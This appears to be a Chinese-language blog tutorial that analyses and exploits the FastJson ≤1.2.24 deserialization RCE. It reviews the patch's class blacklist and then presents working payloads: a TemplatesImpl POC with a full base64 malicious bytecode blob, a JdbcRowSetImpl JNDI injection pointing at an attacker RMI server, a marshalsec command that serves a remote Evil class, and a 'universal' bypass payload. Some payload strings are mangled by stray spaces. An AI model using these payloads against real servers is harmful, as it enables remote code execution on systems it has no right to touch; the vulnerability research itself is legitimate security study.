FastJson反序列化漏洞
环境搭建
创建Maven项目
1 | <dependency> |
漏洞详情
影响版本
1.2.24版本以下
根据官方的公告中的WAF检测方法来看,问题很有可能是因为反序列化了任意类型的class从而导致的RCE。
关于漏洞的具体详情可参考 https://github.com/alibaba/fastjson/wiki/security_update_20170315
漏洞分析
1 | import com.alibaba.fastjson.JSON; |
可以看到 parse(String)将JSON字符串解析成了一个JSONObject对象,parseObject(String,Class)将JSON字符串反序列化为一个相应的Java对象
另外FastJson还提供一个特殊字符段 @type,通过这个字段可以指定反序列化任意类
1 | import com.alibaba.fastjson.JSON; |
运行结果
1 | {"@type": "org . example.User","name":"L0ki"} |
根据终端回显,我们可以看出来:在反序列化的同时调用了对象的set方法,说明FastJson在对JSON字符串反序列化的时候,会尝试通过setter方法对对象的属性进行赋值
那么在这种情况下,找到有可以利用的setter方法的类,就能完成该漏洞的利用
在满足一定条件下也会调用getter方法
- 方法名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无传入参数
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
1 | import com.alibaba.fastjson.JSON; |
运行结果
1 | {"table":{}} |
具体的规则参考于 JAVA反序列化—FastJson组件
静态分析
通过官网给出的补丁文件,主要的更新在这个checkAutoType函数上,而这个函数的主要功能就是添加了黑名单,将一些常用的反序列化利用库都添加到黑名单中。具体包括:
1 | bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework |
// 新增的黑名单
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframewor
同时添加了checkAutoType类:
1 | public Class<?> checkAutoType(String typeName, Class<?> expectClass) { |
我们可以看到其核心代码就是:
1 | if (autoTypeSupport) { |
直接遍历denyList数组,只要引用的库中是以denyList中某个deny打头,即以我们的黑名单中的字符串开头的就直接抛出异常中断运行。
POC—基于Templatempl
根据test.java我们可以看到恶意代码的执行位置在构造方法中
1 | public class Poc { |
根据POC的关键代码我们进行分析
- @type指定解析类,fastjson会根据指定类去反序列化得到该类的实例
- _bytecodes,加载的恶意字节码
- _ outputProperties->getOutputProperties
- _ tfactory,_ name
- Feature.SupportNonPublicField
我们可以看到Test.java主要实现了一个类,这个类利用 Runtime.getRuntime().exec("calc");语句执行弹出计算器的命令,而POC.java文件中主要执行test_autoTypeDeny()函数,函数获取Test.java文件编译完成后的.class文件然后进行base64编码,将编码后的字符串赋值给_bytecodes加上POC.
通过 Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);执行反序列化操作,执行命令。
在这个poc中,最核心的部分是 _ bytecodes,它是要执行的代码,@type是指定的解析类,fastjson会根据指定类去反序列化得到该类的实例,在默认情况下,fastjson只会反序列化公开的属性和域,而 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中 _ bytecodes却是私有属性,_ name也是私有域,所以在 parseObject的时候需要设置 Feature.SupportNonPublicField,这样 _ bytecodes字段才会被反序列化。_ tfactory这个字段在 TemplatesImpl既没有get方法也没有set方法,这没关系,我们设置 _ tfactory为{ },fastjson会调用其无参构造函数得 _ tfactory对象,这样就解决了某些版本中在 defineTransletClasses()用到会引用 _tfactory属性导致异常退出。
所以可以根据这个构造漏洞利用的 payload:
1 | text1={"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEANAcAAgEAC3BlcnNvbi9UZXN0BwAEAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEABjxpbml0PgEAAygpVgEACkV4Y2VwdGlvbnMHAAkBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAEQ29kZQoAAwAMDAAFAAYKAA4AEAcADwEAEWphdmEvbGFuZy9SdW50aW1lDAARABIBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAUAQAfL3Vzci9iaW4vdG91Y2ggL3RtcC9zdWNjZXNzLnR4dAoADgAWDAAXABgBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEADUxwZXJzb24vVGVzdDsBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAnAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgcALQEAE2phdmEvbGFuZy9FeGNlcHRpb24KAAEADAEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEAIQABAAMAAAAAAAQAAQAFAAYAAgAHAAAABAABAAgACgAAAEAAAgABAAAADiq3AAu4AA0SE7YAFVexAAAAAgAZAAAADgADAAAADwAEABAADQARABoAAAAMAAEAAAAOABsAHAAAAAEAHQAeAAEACgAAAEkAAAAEAAAAAbEAAAACABkAAAAGAAEAAAAVABoAAAAqAAQAAAABABsAHAAAAAAAAQAfACAAAQAAAAEAIQAiAAIAAAABACMAJAADAAEAHQAlAAIABwAAAAQAAQAmAAoAAAA/AAAAAwAAAAGxAAAAAgAZAAAABgABAAAAGQAaAAAAIAADAAAAAQAbABwAAAAAAAEAHwAgAAEAAAABACgAKQACAAkAKgArAAIABwAAAAQAAQAsAAoAAABBAAIAAgAAAAm7AAFZtwAuTLEAAAACABkAAAAKAAIAAAAcAAgAHQAaAAAAFgACAAAACQAvADAAAAAIAAEAMQAcAAEAAQAyAAAAAgAz"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"} |
Feature.SupportNonPublicField
在漏洞触发时必须传入 Feature.SupportNonPublicField参数,这也成了该条利用链的限制,导致不是很通用
1 | JSON.parse(poc,Feature.SupportNonPublicField); |
这是因为POC中有一些private属性,而且 TemplatesImpl类中没有相应的set方法,所以需要传入该参数让其支持非public属性,当然如果private属性存在相应set方法的话,FastJson会自动调用其set方法完成赋值,不需要 Feature.SupportNonPublicField参数
1 | import com.alibaba.fastjson.JSON; |
POC—基于JNDI+JdbcRowSetImpl
分析流程
- 查找远程对象的可控参数
getDataSourceName() - 设置该参数
setDataSourceName(String var1) - 提交该参数
setAutoCommit(boolean var1)
JdbcRowSetImpl
查找远程对象
1 | else if (this.getDataSourceName() != null) { |
如果 this.getDataSourceName() 可控且能触发 connect()便有可能实现JNDI注入达到RCE
setDataSourceName(String var1)函数赋值 dataSourceName
setAutoCommit(boolean var1)函数调用了 connect()
FastJson会自动调用setter来完成对对象属性的赋值,所以这里payload
1 | { |
首先 @type字段会指定反序列化 com.sun.rowset.JdbcRowSetImpl类
然后调用 setDataSourceName(String var1)对 dataSourceName赋值,这里赋值为恶意的RMI服务地址
最后调用 setAutoCommit(boolean var1)从而调用 connect()触发JNDI注入,autoCommit的值类型是 boolean,这里设置 true或 false都可,JNDI注入部分可以参考深入理解JNDI注入与Java反序列化漏洞利用
下面构造一个恶意类,其中执行命令的代码可以放在构造方法,getObjectInstance()方法或者静态代码块中
javac Evil.java
1 | import java.io.IOException; |
利用一
通过RMI服务返回一个 JNDI Naming Reference,受害者解码 Reference时会去我们指定的 Codebase远程地址加载 Factory类
1 | import com.sun.jndi.rmi.registry.ReferenceWrapper; |
利用二
借助marshalsec项目,直接启动一个RMI服务器,监听9999端口,并制定加载远程类 Evil.class
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip/#Evil" 9999 |
最后运行漏洞代码加载payload
注意
在高版本中Java限制了 Naming/Directory服务中 JNDI Reference远程加载 Object Factory类的特性。默认不允许从远程的 Codebase加载 Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider的远程类加载功能,需要将相关属性值设置为 true
本地复现
test.java
1 | import com.alibaba.fastjson.JSON; |
通杀
{"atype":"java. lang. Class","val":" com. sun. rowset . JdbcRowSetImpL" }
{"@type" : " com . sun. rowset . JdbcRowSetImpl"," dataSourceName": " rmi:/ ip/Exploit"," autoCommit": true }




